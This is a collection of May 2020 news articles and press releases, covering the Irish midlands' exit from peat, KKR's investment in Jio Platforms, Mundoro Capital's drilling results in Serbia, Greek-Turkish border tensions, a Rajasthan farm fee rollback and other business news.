These are formidable challenges for management and unions given the short period involved and the limited potential for alternative locally based enterprises based on the peatlands or in the region.

Hundreds of workers have lost their jobs as Bord na Mona accelerates its movement away from peat extraction and two ESB peat-burning power plans at Lanesboro and Shannonbridge close.

Mr Mulvey said it would be unfair to expect Offaly and Longford county councils to bear the burden of the sudden loss of substantial business rates from the companies and central Government should make up the shortfall.

He also said doubts hung over 240m worth of horticultural business that was dependent on peat harvesting this summer as a court challenge led to unresolved issues over the permission process for extraction.

Mr Mulvey made a number of recommendations, including the creation of a Centre for Climate Change and Just Transition in one of the Bord na Mona facilities.

A centre to record and document this change would be an important addition to the story of the just transition in the midlands and the movement towards the non-use of fossil fuels in Ireland. Now is the time to record this transition and the contemporary memory around the peatlands rehabilitation, he said.

He said the midlands should be developed as a hub for renewable energy and also position itself as an alternative to Dublin for the location of industry.

Plans to employ workers in extensive peatland restoration projects should also be progressed he said.

A 30 million fund was created last year to kickstart recovery in the region. Mr Mulvey said: I am of the view that whatever recommendations are made in this report, they cannot succeed unless they have Government support and the buy-in from central government departments, local government and the key personnel among the stakeholders. I hope they receive that support.

Climate Action Minister Richard Bruton welcomed the report.

I am acutely aware of the impact an early exit from peat is having on workers and their families and on the Midlands more broadly, he said.

Like many other businesses, Bord na Mona has also been severely impacted by the Covid-19 pandemic which is compounding this impact.

Securing sustainable employment opportunities for the region and a just transition for those most severely affected must be at the heart of our response.
CAMBRIDGE, Mass., May 22, 2020 /PRNewswire/ -- How can we make our financial system less fragile and more transparent? How can we make our healthcare infrastructure less reactive and more agile? And what can we do to create more robust civic institutions that work for all of usnot just those at the top?

A new book from researchers at the MIT Sloan School of Management provides answers and insights to those pressing questions. The book, Building the New Economy, is edited by Professor Alex "Sandy" Pentland, leader within the Sloan Initiative for Digital Economy and founder of the MIT-wide Connection Science program, Alexander Lipton, former Managing Director of Quantitative Solutions at Bank of America and Connection Science Fellow at MIT, and Thomas Hardjono, CTO of Connection Science and Technical Director of the MIT Trust-Data Consortium.

"With each new crisis, be it war, pandemic, natural disaster, or even the invention of a major technology, there has been a need to reinvent the relationships between individuals, businesses, and governments. The COVID-19 health emergency and ensuing economic turmoil, joined with the tsunami of data and AI technologiesis such a crisis," says Prof. Pentland.

"Consequently, the critical questions for today are: What sorts of systems can we create that will help us get past this crisis? And how we deploy technology to make us less vulnerable to the next one? Our book lays out a vision of what we should build and how we, as members of society, can forge a new social contract with institutions, communities, and organizations that supports and nurtures a new order."

The book, which is part of the MITP Works in Progress (WiP) collection, is organized into three sections: The Human Perspective, Resilient Systems, and finally Data and AI. At the end of these three main sections, there is a concluding chapter on Computational Law, which discusses how to deploy and regulate these new societal systems.

The book offers examples of how new digital technologies, including artificial intelligence (AI), are empowering communities. In the Ladakh region of Pakistan, for example, the local population is using crowdsourcing to fund a massive infrastructure project in hydroelectric power. The citizens and businesses that will benefit from having hydropower buy digital tokens that give them future rights to electricity; and the pooled money provides the hundreds of millions of dollars required to build the water dam and hydropower complex.

"The community came together and it's the community that will benefit," says Prof. Pentland. "As transaction costs fall, we will continue to see more examples of communities empowered to do things in ways that weren't possible before."

Informal networks of scientists and researchers are using digital technology to make strides in designing and testing new treatments for COVID-19. These community networks are using medical data sharing systems to keep track of which drug cocktails and combinations have the best results in fighting the disease.

"Sharing ideas and outcomes is providing the sort of innovation needed for our society to survive and come out stronger," he says. "After the current crisis, people will value local resilience more than global efficiency."

About the MIT Sloan School of Management

The MIT Sloan School of Management is where smart, independent leaders come together to solve problems, create new organizations, and improve the world. Learn more at mitsloan.mit.edu

For further information, contact: Paul Denning



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By P R Sanjai and Debjit Chakraborty

Mukesh Ambani, Asias richest man, has lured more than $10 billion of investment for his India-based digital platform business in a month, even as the economy struggles under the worlds most stringent lockdown to prevent the spread of the coronavirus.

New York-based KKR & Co. on Friday became the latest private equity firm to invest in Jio Platforms Ltd., the telecom and digital services holding company controlled by Ambanis Reliance Industries Ltd., the Mumbai-based company said in a statement. The private equity fund will pay 113.7 billion rupees ($1.5 billion) for a 2.3% stake in Jio.

Also Read: Investment firm KKR to put up Rs 11,367 crore for 2.32% stake in Reliance Jio

Ambani has been selling stakes in Jio in support of a vow to bring net debt of more than $20 billion to zero at his oil, retail and telecommunications group before March 2021. The deals with U.S.-based giants from Facebook Inc. to Silver Lake and General Atlantic bolster Ambanis plan to shift away from oil and petrochemicals toward faster-growing consumer businesses.

Reliance Industries is positioning itself as a global technology company with international technology and private equity players lining up for a Jio Platforms stake, said Sudeep Anand, head of institutional research at IDBI Capital Market Services Ltd. The sales are also another step toward achieving a zero net-debt company by calender year 2020, he said.

While global giants including Amazon.com Inc. and Walmart Inc. have also made big bets on growth in Indias consumer markets, the companies have faced challenges in scaling their models online in India, where restrictions protect small retailers. Ambani has vowed to build an e-commerce business that works around the barriers by recruiting so-called kirana shops as partners.

Also Read: Fundraising spree for Reliance's Jio Platforms values it at $65 billion

KKR said Friday its investment in Jio is its largest in Asia and that Ambanis goals played a big role in a quick decision.

The business model is scalable to meet the demand of aspiring Indians, Sanjay Nayar, head of KKRs Indian business, said in an interview, adding that the PE firm completed the deal in 10 days. We invested in Mukesh Ambanis entrepreneurial vision backed by a world class management.

The fund has also put money into technology-driven companies like enterprise solutions provider BMC Software Inc., ByteDance Ltd., owner of the TikTok social video platform, and Indonesia-based ride-hailing and food-delivery giant GoJek.

Also Read: General Atlantic to invest nearly Rs 6,600 cr in Jio Platforms for 1.34% stake

Ambanis success in drawing big, seasoned tech investors to Jio comes despite a sharp drop in economic growth caused by the pandemic and uncertainty about how much damage will be done before the deadly pathogen is under control. The willingness of investors to bear those risks underscores Ambanis appeal as a determined, capable empire builder and the prospects for using Jios roughly 400 million wireless phone users as a springboard into digital services.

Jio Platforms combines the conglomerates digital assets with its wireless carrier, Reliance Jio Infocomm Ltd., into a holding company aimed at becoming a top e-commerce and payments operator in Indias vast consumer market.

Started in 2016, Reliance Jio is now Indias largest wireless carrier. The operator stormed past rivals by building a nationwide 4G network, then offering free calling and data services at prices established competitors with older networks could not match without losing money.
Bharat Petroleum Corporation Ltd is quoting at Rs 319, up 1.85% on the day as on 12:54 IST on the NSE. The stock is down 17% in last one year as compared to a 22.83% slide in NIFTY and a 22.85% slide in the Nifty Energy index.

Bharat Petroleum Corporation Ltd is up for a third straight session today. The stock is quoting at Rs 319, up 1.85% on the day as on 12:54 IST on the NSE. The benchmark NIFTY is down around 1.21% on the day, quoting at 8995.85. The Sensex is at 30590, down 1.11%. Bharat Petroleum Corporation Ltd has slipped around 10.18% in last one month.

Meanwhile, Nifty Energy index of which Bharat Petroleum Corporation Ltd is a constituent, has slipped around 0.04% in last one month and is currently quoting at 12502.6, down 0.47% on the day. The volume in the stock stood at 46.19 lakh shares today, compared to the daily average of 86.68 lakh shares in last one month.

The benchmark May futures contract for the stock is quoting at Rs 319.75, up 2.43% on the day. Bharat Petroleum Corporation Ltd is down 17% in last one year as compared to a 22.83% slide in NIFTY and a 22.85% slide in the Nifty Energy index.

The PE of the stock is 9.47 based on TTM earnings ending December 19.

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(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Vancouver, British Columbia--(Newsfile Corp. - May 22, 2020) - Mundoro Capital Inc. (TSXV: MUN) (www.mundoro.com) ("Mundoro" or the "Company"), is pleased to report its quarterly update for exploration and corporate activity for the three months ending March 31, 2020. The Company has filed its quarterly Consolidated Financial Statements and Management's Discussion and Analysis on SEDAR at www.sedar.com and posted on the Company's website at www.mundoro.com.

Mundoro's Objectives for 2020

Commence exploration on the Vale-Mundoro JV Projects in the second half of 2020.

Add partner(s) for Mundoro's projects available for optioning.

Enter into exploration contract for the Svoboda project with the local government.

Corporate and Business Development

Mundoro continues to have discussions with interested third parties regarding Mundoro's projects which are available for optioning, confirming the continued interest in exploring in Timok, Serbia as well as Bulgaria.

Savinac and Bacevica

The two licenses, Savinac and Bacevica, previously part of the Freeport earn-in from October 2018 to April 2020, have reverted 100% to Mundoro for no consideration. Freeport informed Mundoro that it is restructuring its exploration programs and accordingly terminated their earn-in. Mundoro has since then set up a data room, signed confidentiality agreements and engaged in due diligence with third parties. Freeport sole funded a total of US$3.2 million (C$4.5 million) on these two licenses, therefore the current term work commitments for the licenses have been met. No further exploration expenditures are required to maintain the licenses while Mundoro continues discussions with third parties.

Vale-Mundoro Projects

For the Vale-Mundoro Projects, compiled data sets are being reviewed for targeting and exploration planning. The parties await government approvals before exploration activity can be commenced.

JOGMEC-Mundoro JV Project

To date, JOGMEC has sole funded a total of US$5.8 million (C$8.2 million) for the JOGMEC-Mundoro JV Project, and has completed the earn-in for a 51% interest in the project. All work commitments have been met for the JOGMEC-Mundoro JV Project during this term. The joint venture is now at a proportionate funding stage, with Mundoro entitled to exercise an option to acquire a 2% interest in the joint venture from JOGMEC (taking Mundoro to 51%) for nominal consideration and maintain its role as the operator. The JV Partners are discussing alternatives for further funding and exploration at Borsko. A data room for the project has been opened for interested third parties which have signed a confidentiality agreement with the Company.

Zeleznik

A data room for the Zeleznik project has been opened for interested third parties which have a confidentiality agreement signed with the Company.

Generative

The Company has several areas under application in Serbia and Bulgaria as a result of the Company's generative programs in these two jurisdictions.

Financial Highlights and Initiatives to Manage Costs

Earn-in parties funded exploration costs totaled $1,230,158 and operator fees earned totaled $108,636. Mundoro funded exploration costs for generative programs totaled $136,916.

Corporate expenses totaled $98,839, versus $120,346 in 2019.

At March 31, 2020, Mundoro had a treasury position of $3.1 million and no debt.

During ongoing global impacts to commerce as a result of the COVID-19 health pandemic, the board of directors and management considers it prudent for the Company to take steps to reduce non-essential expenditure pending a return to normal business conditions. The initiatives below are expected to result in cash preservation for 2020 whilst they are in effect: Capital expenditures that are not essential to support ongoing exploration programs have been reduced or deferred, and Corporate and marketing expenditures have been reduced.



Summary of Completed Drill Programs in Q1-2020



Savinac and Bacevica, Timok, Serbia (Available for Option)

In Q1-2020, Mundoro completed the target testing drill program at the Savinac and Bacevica exploration licenses in the Timok Magmatic Complex ("Timok") in eastern Serbia. The two licenses are located within the southern portion of Timok, one of the most prolific metallogenic domains in the Tethyan Belt with deposits such as the Cukaru-Peki, the Bor copper porphyry underground mine and the Veliki Krivelj copper-gold porphyry open-pit mine (Figure 1 and 2).

Following the results from the initial drilling program carried out between October 2018 - February 2019, as well as based on results from the completed alteration mapping and geophysical surveys, a second drilling campaign was initiated in October 2019. Total drilling was originally planned for a 3,500-meter program and increased to a total of 8,735 meters. The three-drill rig program tested four of the five target areas between October 2019 and February 2020 (see Figure 3 and 4). The fifth target to be tested, Markov Kamen, was scheduled to commence in March 2020 but the program was suspended due to restrictions related to the COVID-19 pandemic.

Tilva Rosh (Savinac License)

The Tilva Rosh target is a large area of zoned argillic to advanced argillic alteration containing epithermal gold mineralization cropping out at surface as observed through trench sampling by Mundoro in 2013 which returned 12 m of 30 g/t gold and 171 g/t silver (see Figure 3 ) . Interpretation of prior drilling suggests the epithermal mineralization is proximal to a copper-gold porphyry system.

. Interpretation of prior drilling suggests the epithermal mineralization is proximal to a copper-gold porphyry system. The target is characterized by: a large 3.5 km x 1 km alteration zone at surface, which correlates laterally with an Induced Polarization ("IP") chargeability-high. Beneath the IP chargeability high and resistivity high, remains an untested intermediate to low CSAMT/NSAMT resistivity anomaly.

alteration zone at surface, which correlates laterally with an Induced Polarization ("IP") chargeability-high. Beneath the IP chargeability high and resistivity high, remains an untested intermediate to low CSAMT/NSAMT resistivity anomaly. Interpretation models from both the IP-Resistivity and CSAMT/NSAMT were combined with additional layers of data to select targets for follow up drilling.

Drilling commenced in October 2019 which drilled a total of 2,980 meters over 4 drill holes. Results of note are in Table 1 .

. Signs of nearby porphyry system were found in the drill holes through observations of: minor banded quartz-specularite, center parting quartz-pyrite "B" veins, and pyritic "D" veins.

Zoned alteration pattern was recognized in drill holes FMSC19008 and FMSC20018 completed in the central portion of the target. Core of inner propylitic alteration, presented by remnants of patchy hydrothermal magnetite and traces of chalcopyrite mineralization was observed in drill hole FMSC19008 rimed by a halo of phyllic alteration (sericite-chlorite-quartz). The inner propylitic alteration appears open and down plunging to the west. The advanced argillic alteration and gossano texture mapped at surface was confirmed in the first 200 m of drill hole FMSC19008, right above the phyllic and the inner propylitic zones with elevated copper of 700-800 ppm Cu. Drill hole FMSC20018 (east of FMSC19008) was drilled into dominantly argillic alteration and thereafter entered an epidote-rich zone which suggests outward alteration zoning to the east. Therefore, the drill hole was terminated. The area 500 m to the west of recent drill hole FMSC19008, as well as to the north and south, all along the mapped 3.5 km of strong argillic to advanced argillic alteration zone, remain open for further drill testing based on the drill core review which is also supported by the geophysical and geochemical data.

Broad zone of alteration and veining over several kilometers suggest that the Tilva Rosh target has potential to host a significant porphyry system.

Markov Kamen (Savinac License)

The Markov Kamen target is an epithermal target identified by several copper-gold-in-soil geochemical anomalies related to 4 km x 1.2 km zone of argillic and advanced argillic alteration located 2 km south of the Tilva Rosh target ( see Figure 3 ).

zone of argillic and advanced argillic alteration located 2 km south of the Tilva Rosh target ( ). Five drill holes completed from previous programs at Markov Kamen intersected hydrothermal breccia and vuggy silica, signs of high-sulphidation type epithermal mineralisation controlled by northwest structures. Measured contacts to the country rock suggest the epithermal mineralization remains open towards the west.

Markov Kamen target is characterized by narrow IP anomalies that coincide spatially with narrow magnetic susceptibility low and intermediate resistivity anomalies. At depth, beneath the IP high anomaly, large intermediate resistivity CSAMT/NSAMT anomalies are observed associated with altered volcanic rocks.

The priority target for drill testing is around drill hole FMSC19007, which is located in Markov Kamen South. This drill hole returned 36.0 m of 0.19% copper, 0.25 g/t gold starting at 65 meters, related to quartz-pyrite-sphalerite-galena-chalcopyrite veins, and 35.6 m of 0.17% copper, 0.16 g/t gold starting at 138.4 meters, related to black sulfides and chalcopyrite, among silicified breccia bodies.

During this drill program, drilling did not commence at this target as the Company was awaiting permits from the Forestry Department and thereafter the decision was made to terminate drilling due to the COVID-19 related restrictions.

The Markov Kamen target requires further drill testing.

Prekostenski (Bacevica License)

Copper-gold porphyry target identified by mapping and surface sampling which resulted in 55 m of 0.28 g/t gold and 0.21 % copper. The exploration work identified chalcopyrite-magnetite mineralisation hosted in potassic altered diorite at surface (see Figure 2 and 4).

One drill hole from 2018 confirmed the extension of the surface mineralisation to a depth of 68.6 m. Quartz-pyrite-chalcopyrite veins were observed hosted in K-Feldspar altered diorite porphyry and returned an intercept of 49.8 meters of 0.14 g/t gold and 0.13 % copper from surface.

from surface. Drilling commenced in November 2019 which has drilled a total of 2887 meters over 6 drill holes. Best results were obtained from drill hole FMSC19013 that returned: 13.5m of 0.14% copper, 0.11 g/t gold from 34 meter and, 69.0 m of 0.14% copper, 0.19 g/t gold from 75 meter, both within much larger anomalous interval of 152m of 0.11% copper and 0.12 g/t gold from 20.0m depth . Results of note are ( Table 1 ).

Drilling confirmed copper-gold porphyry system at Prekostenski related to sub-vertical diorite porphyry with quartz stockwork veining. Late faulting plays a role to displace the system making difficult to understand the directions and controls of the mineralization at that stage.

Late diatreme (pebble dike) contains quartz stockwork porphyry clasts intersected next to the diorite porphyry suggesting undiscovered mineralisation at depth and around.

Four additional drill targets have been interpreted within the property area and require further drilling to test the conceptual model.

Orlovo Brdo (Bacevica License)

This target is a broad zone of phyllic alteration of 3,000 m x 700 m with gold and copper anomalism ( see Figure 2 and 4 ).

with gold and copper anomalism ( ). Our drill hole from the 2018 drill program, intersected a zone of quartz vein stockwork mineralization related to potassic altered diorite from a depth of 458 m, returning 26 m of 0.10% Cu and 0.23 g/t Au , overlain by strong phyllic alteration from surface.

, overlain by strong phyllic alteration from surface. In 2019 the geophysics completed identified the target has high IP anomalies coincident with resistivity and magnetic susceptibility anomalies.

After completion of geophysics, drilling commenced in November 2019 which drilled a total of 2,325 meters over 4 drill holes. The drill program was designed to define the down-dip extension and the geometry of the quartz-veined zone intersected in the drill hole from 2018. The zone was confirmed in holes FMSC19012 and FMSC19015, as well as in FMSC20020 to a depth of 793.8 m when the drill hole was abandoned due to technical difficulties .

. Drilling confirmed a porphyry copper-gold system with quartz veining, remnants of distal potassic alteration and at least two porphyry phases. The system remains open to north-northwest and northeast as supported by the drilling results and the soil Cu-Au anomalies.

Further drilling was planned to test for the continuation of veining, stronger potassic alteration and increasing of copper-gold grades at Orlovo.

This target requires further drill testing.

D-Vein (Bacevica License)

This target covers an area of 1,000 m x 500 m of phyllic, argillic and advanced argillic alteration, located 2.3 km south-southeast of the Orlovo Brdo target ( see Figure 2 and 4 ). Adjacent to this zone, there are copper-gold mineralized D-veinlets, that could represent the top or lateral portion of a porphyry system. Mapping and rock sampling of the veins returned 2% copper and 7.2 g/t gold in grab samples .

of phyllic, argillic and advanced argillic alteration, located 2.3 km south-southeast of the Orlovo Brdo target ( ). Adjacent to this zone, there are copper-gold mineralized D-veinlets, that could represent the top or lateral portion of a porphyry system. Mapping and rock sampling of the veins returned . The target is characterized by north-south trending IP high anomaly from surface to 650 m. The IP anomaly appears on either side (to the west and to the east respectively) of a sharp resistivity contact interpreted as a north-south trending fault.

Drilling commenced in November 2019 which drilled 542 meters in one drill hole. Drill hole FMSC19009 targeted the depth extension of the mapped D-veinlets on surface which correlate with the IP chargeability high and the resistivity high/low contact.

Although, the continuation of outcropping D-veinlets was not confirmed at depth with this drill hole, the conclusion from the drill program is that further exploration and targeting is needed to understand the controls of the veins and their relation to a possible porphyry source.

Table 1: Drill Hole Summary Results

Drill hole ID



Azimuth

Dip Total Depth

(m) From

(m) To

(m) Interval

(m) Copper (%) Gold

(g/t) CuEq*

(%) AuEq*

(g/t) Tilva Rosh Target (Figure 3)

FMSC 19008 90 -60 738.0 194.5 197.0 2.5 0.17 0.04 0.20 496.6 499.4 2.8 0.04 0.29 0.24 0.34 513.1 516.1 3.0 0.11 0.17 0.23 0.33 FMSC 19010 90 -60 1116.0 33.0 35.0 2.0 0.24 0.00 0.25 620.0 622.0 2.0 0.22 1.21 1.07 1.52 640.0 642.0 2.0 0.02 0.21 0.17 0.25 746.0 748.0 2.0 0.23 0.01 0.24 FMSC 19014 90 -80 574.5 90.0 93.4 3.4 0.13 0.04 0.26 108.0 124.0 16.0 0.15 0.06 0.19 344.0 347.0 3.0 0.01 0.37 0.27 0.38 FMSC 20018 90 -60 552.0 16.0 19.0 3.0 0.01 0.32 0.24 0.33 314.0 317.0 3.0 0.16 0.11 0.24 393.4 398.5 5.1 0.04 1.67 1.22 1.73 Prekostenski Target (Figure 4)

FMSC 19011 210 -65 158.5 20.00 114.00 94.0 0.10 0.09 0.17 61.50 85.50 24.0 0.20 0.20 0.34 0.49 93.50 104.00 10.5 0.13 0.07 0.19 FMSC 19013 260 -60 302.0 20.00 172.00 152.0 0.11 0.12 0.20 34.00 47.50 13.5 0.14 0.11 0.22 75.00 144.00 69.0 0.14 0.19 0.28 0.40 160.00 172.00 12.0 0.12 0.19 0.26 0.37 FMSC 19016 340 -65 529.7 448.4 459.6 11.2 0.12 0.15 0.23 FMSC 20019 340 -65 521.3 No significant intercepts FMSC 20021 180 -60 893.3 No significant intercepts FMSC 20022 180 -60 482.7 No significant intercepts Orlovo Target (Figure 4)

FMSC 19012 85 -60 492.5 0.0 31.0 31.0 0.02 0.14 0.13 0.18 82.0 103.0 21.0 0.03 0.14 0.14 0.19 196.0 228.0 32.0 0.06 0.18 0.19 0.26 196.0 212.0 16.0 0.06 0.23 0.19 0.27 253.0 283.0 30.0 0.04 0.14 0.14 0.20 FMSC 19015 45 -60 473.6 3.1 24.0 20.9 0.03 0.15 0.14 0.19 54.7 60.0 5.3 0.03 0.14 0.13 0.18 115.0 119.0 4.0 0.02 0.12 0.11 0.15 127.0 131.0 4.0 0.02 0.19 0.15 0.22 201.0 314.0 113.0 0.05 0.15 0.16 0.22 201.0 209.8 8.8 0.04 0.14 0.14 0.20 216.6 289.0 72.4 0.07 0.18 0.20 0.28 216.6 230.5 13.9 0.11 0.27 0.30 0.43 239.3 250.0 10.7 0.09 0.31 0.31 0.44 260.0 289.0 29.0 0.07 0.19 0.20 0.29 308.0 314.0 6.0 0.07 0.11 0.11 0.15 320.0 328.0 8.0 0.03 0.11 0.11 0.15 FMSC 19017 0 -70 563.5 21.5 28.0 6.5 0.03 0.16 0.14 0.20 34.0 49.0 15.0 0.02 0.17 0.14 0.20 74.0 85.0 11.0 0.03 0.19 0.16 0.23 144.0 165.0 21.0 0.05 0.14 0.15 0.21 194.6 201.5 6.9 0.02 0.16 0.13 0.19 307.7 311.0 3.3 0.02 0.22 0.18 0.25 378.0 381.0 3.0 0.01 1.02 0.73 1.03 FMSC 20020 20 -50 795.8 37.0 46.0 9.0 0.02 0.15 0.13 0.18 78.9 82.9 4.0 0.03 0.51 0.39 0.55 183.0 189.0 6.0 0.02 0.17 0.14 0.20 248.0 298.0 50.0 0.04 0.13 0.13 0.19 320.6 372.0 51.4 0.04 0.14 0.14 0.20 D-Vein Target (Figure 4)

FMSC 19009

270 -60 542.0 7.3 8.6 1.4 1.29 6.76 6.05 8.60

*Copper equivalent (CuEq%) is calculated using the formula CuEq = (%Cu) + [(g/t/AuEq) x (1/31.1035) x ($/oz Au)]  [(22.0462) x ($/lb Cu)]. Metal prices used are: gold price of US$1,357/oz, copper price of US$2.81/lb, the average of the last three years period. All thicknesses from intersections from drill holes are down-hole drilled thicknesses and not true widths.

Zeleznik, Timok, Serbia (Available for Option)

Mundoro completed a 450-meter drill program in March 2020 at the Zeleznik group of licenses which are 100% owned by the Company and available for optioning. Zeleznik is directly north of the Majdanpek mine at the north end of the Timok district (see Figure 1). The drill program was designed to test the southern extension of the East Zone by 200 m to the south with two inclined drill holes. After the state of emergency related to COVID-19 is lifted in Serbia, the Company will send samples to the assay lab. In the meantime, the exploration team is completing detailed logging, core photo collection along with XRF analysis and alteration analysis. The Company expects to be able to report assay results in Q2-2020.

Drilling, Sampling, Analysis and Quality Assurance and Control

The drilling technique was triple tubed diamond drilling from surface for PQ and HQ, while for NQ was double tubed. The drill holes were generally cased from surface progressing from PQ to HQ at 260 m on average, however exact depths vary from hole to hole. Drill hole orientations were surveyed at 30 meters intervals. Drill core was oriented using the Reflex EZ-Trac tool, the bottom of oriented core was marked by the drillers and this was used for marking the whole drill core with reference lines. Company personnel monitored the drilling, with drill core delivered daily to the Company's core storage facility where it was logged, cut and sampled.

Core recovery was measured and recorded continuously from the top to the end of the hole for every drill hole. Each run of 3m length was marked by plastic core block which provided the depth drilled. Core recovery is recorded as 96.3-100% in most intervals.

The drill core was sawn into quarter for PQ diameter and into two for HQ and NQ diameter, along drill core orientation line using a core-cutter and left half looking downhole was collected in bag and submitted for analysis, the other half is kept in tray and stored. Samples were collected at three-meter lengths from mineralised intervals and three to five-meter lengths from non-mineralised intervals with brakes for major geological changes. The samples were submitted to ALS Prep Laboratory in Bor, Serbia, for sample preparation and then internally submitted to ALS Romania and ALS Ireland for analysis. The samples were fine crushed to 2mm with 70% pass, split by rotary splitter to produce 1000 g sub-sample which was pulverized with 85% passing 75 um using. The samples were assayed using 50 grams charge for Au-fire assay with AES finish and multi-element method ME-MS61 - 48 element four acid ICP-MS. Samples returned above > 3 ppm Au, >1% Cu, >1% As and >100 ppm Ag were additionally analyzed with method OG62.

In addition to the laboratory's internal QA/QC procedures, the Company conducted its own QA/QC with the systematic inclusion of certified reference materials every 20 and 30 samples, blank samples every 50 samples, field duplicates every 50 samples, crush duplicates every 50 samples and pulp duplicates at every 50 samples.

Qualified Person

Technical information contained in this Press Release has been reviewed and approved by Mr. G. Magaranov, P. Geo., Qualified Person as defined by National Instrument 43-101.

About Mundoro Capital Inc.

Mundoro is a Canadian listed (TSXV: MUN) precious and base metal company focused on building value for its shareholders through directly investing in mineral projects that have the ability to generate future returns for shareholders. Mundoro has generated an attractive mineral project pipeline in Serbia and Bulgaria, as well as an investment in a producing gold mine in Bulgaria, in order to drive long-term growth and achieve shareholder return. Potential future returns for our shareholders from our mineral properties can be in various forms such as discovery of mineral resources, royalties, advance royalty payments from partners, an interest in production, dividend payments or sale of our interest in the mineral property.

Caution Concerning Forward-Looking Statements

This News Release contains forward-looking statements. Forward-looking statements can be identified by the use of forward-looking words such as "will", "expect", "intend", "plan", "estimate", "anticipate", "believe" or "continue" or similar words or the negative thereof, and include the following: completion of the earn-in expenditures and options by JOGMEC; and completion of a definitive joint venture agreement by the parties. The material assumptions that were applied in making the forward looking statements in this News Release include expectations as to the mineral potential of the Timok North Properties, the Company's future strategy and business plan and execution of the Company's existing plans. We caution readers of this News Release not to place undue reliance on forward looking statements contained in this News Release, as there can be no assurance that they will occur and they are subject to a number of uncertainties and other factors that could cause actual results to differ materially from those expressed or implied by such forward-looking statements. These factors include general economic and market conditions, exploration results, commodity prices, changes in law, regulatory processes, the status of Mundoro's assets and financial condition, actions of competitors and the ability to implement business strategies and pursue business opportunities. The forward-looking statements contained in this News Release are expressly qualified in their entirety by this cautionary statement. The forward-looking statements included in this News Release are made as of the date of this News Release and the Board undertakes no obligation to publicly update such forward-looking statements, except as required by law. Shareholders are cautioned that all forward-looking statements involve risks and uncertainties and for a more detailed discussion of such risks and other factors that could cause actual results to differ materially from those expressed or implied by such forward-looking statements, refer to the Company's filings with the Canadian securities regulators available on www.sedar.com.

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.







Figure 1 - Project Location Map in Timok

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Notes: 1. Third party resources estimates based on those reported by RTB Bor Group. Resources reported according to Russian classification system. 2. Nevsun Resources Inc - NI 43-101 Technical Report on SEDAR. Mineralization hosted on adjacent and or nearby properties is not necessarily indicative of mineralization hosted on the Company's properties.





Figure 2 - Savinac and Bacevica - Target Area Locations

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Figure 3 - Savinac - Drill Targets and Current Drill Hole Locations

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Figure 4 - Bacevica - Drill Targets and Current Drill Hole Locations

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For further information, please visit Mundoro Capital website www.mundoro.com

Teo Dechev,

Chief Executive Officer, President and Director

+1-604-669-8055

info@mundoro.com

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/56406
Turkish troops have invaded and occupied a small patch of Greek land Greece on their contested border.

Around 35 soldiers marched on to a floodplain site on the east bank of the River Evros at Melissokomeio yesterday.

Turkish soldiers and police special forces now have a solid presence within the Greek territory and have camped in the pocket of Apiary at Feres, reports Greek site Army Voice.

At the camp there is now a small Turkish flag flying from a tree. Troops have rejected Greek demands to withdraw.

Around 35 soldiers marched on to a floodplain site on the east bank of the River Evros at Melissokomeio yesterday. The invaded area is shaded in red

At the camp there is now a small Turkish flag flying from a tree. Troops have rejected Greek demands to withdraw. Pictured: Greek Army soldiers patrol next to the security fence at the Greek-Turkish border in the village of Kastanies in the Evros region

It comes weeks after thousands of Syrian refugees failed to break through into Greece.

Local reports say the invasion is in response to a Greek army survey of the 1.6-hectare site as part of plans to expand the border fence which kept the refugees out.

Turkey refuses to acknowledge that some of the land on the eastern side of the Evros River still belongs to Greece, even if the river changes its natural course.

Tensions between the two countries have grown under hardline President Recep Tayyip Erdogan.

Tens of thousands of migrants tried to get into EU member Greece after Ankara said on February 28 it would no longer prevent them from doing so, as agreed in a 2016 deal with Brussels in return for European aid for Syrian refugees. Pictured: Greek security forces use tear gas to disperse asylum seekers back in March

Four times in recent weeks, Greek soldiers have been shot at over the border and Turkish fighter jets have to be chased out of Greek airspace regularly.

Greece is trying to de-escalate tensions through diplomatic channels and has not yet made an official response.

Tens of thousands of migrants tried to get into EU member Greece after Ankara said on February 28 it would no longer prevent them from doing so, as agreed in a 2016 deal with Brussels in return for European aid for Syrian refugees.

Turkey, which hosts some 3.6 million Syrians, the world's largest refugee population, lifted restrictions on the migrants because it was alarmed by the prospect of another wave of refugees fleeing war in northwest Syria.

The rush to the border was met a strong response from Greek security forces. Greek authorities have strongly rejected accusations by Ankara that their forces killed migrants at the border, and have denied firing live ammunition.

The tension on the border had largely settled since the outbreak of the new coronavirus prompted Turkey to close the borders with Greece and Bulgaria.
Rajasthan government has partially rolled back the 2% farmer welfare fee on the sale and purchase of select agriculture produce, which was imposed on May 5 because of the protests from the agrarian community.

Chief Minister Ashok Gehlot on Thursday directed that farm produce such as jowar, bajra, makka, jeera (cumin) and isabgol, should be charged 50 paise for every Rs 100 instead of the earlier stipulated fee of Rs 2.

Similarly, for agricultural produce such as oilseeds, pulses, and wheat on which the mandi tax of Rs 1.60 per Rs 100 was earlier fixed has now been revised to Re 1.

Wool has been exempted from the fee, whose receipts will go to a Farmers Welfare Fund that has been set up by the state government.

The CM took the decision to partially roll back the fee after holding a meeting with representatives of the states business bodies on Thursday. He also consulted his cabinet ministers, members of the legislative assembly (MLAs), members of Parliament (MPs) and entrepreneurs before taking the decision.

He said that the state government is aware of the problems being faced by the industries and traders due to the imposition of the farmer welfare fee amid the outbreak of the coronavirus disease (Covid-19) outbreak. The partial rollback in farmers fee is likely to give relief to businessmen and agro-processing industries related to food items, he added.

The desert states border districts such as Pratapgarh, Jhalawar, Banswara, Jalore, Sirohi, Kota, Baran, Bharatpur, Dhaulpur, and Alwar, would have lower farmers fee than neighbouring states and it would facilitate competitive state, Gehlot said.

Earlier, the mandi traders went on a five-day strike from May 6 in protest against the state governments decision to impose a 2% farmer welfare fee under the Rajasthan Agriculture Produce Market Act, 1961 on the sale and purchase of farm produce.

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Teachers of a school chain that operates in Mumbai have alleged that they have been asked to take leave without pay by the school authorities in the middle of the Covid-19 crisis.

Teachers working in various branches of Narayana e-Techno school have alleged that the school management told them that they could not be paid for the next few months due to financial constraints.

We were told that the school was facing financial issues due to the current situation and that our salaries wont be paid for the next few months until schools reopen, said a teacher from the schools Bhayander branch. The school chain runs five branches in the city and 12 branches in the state.

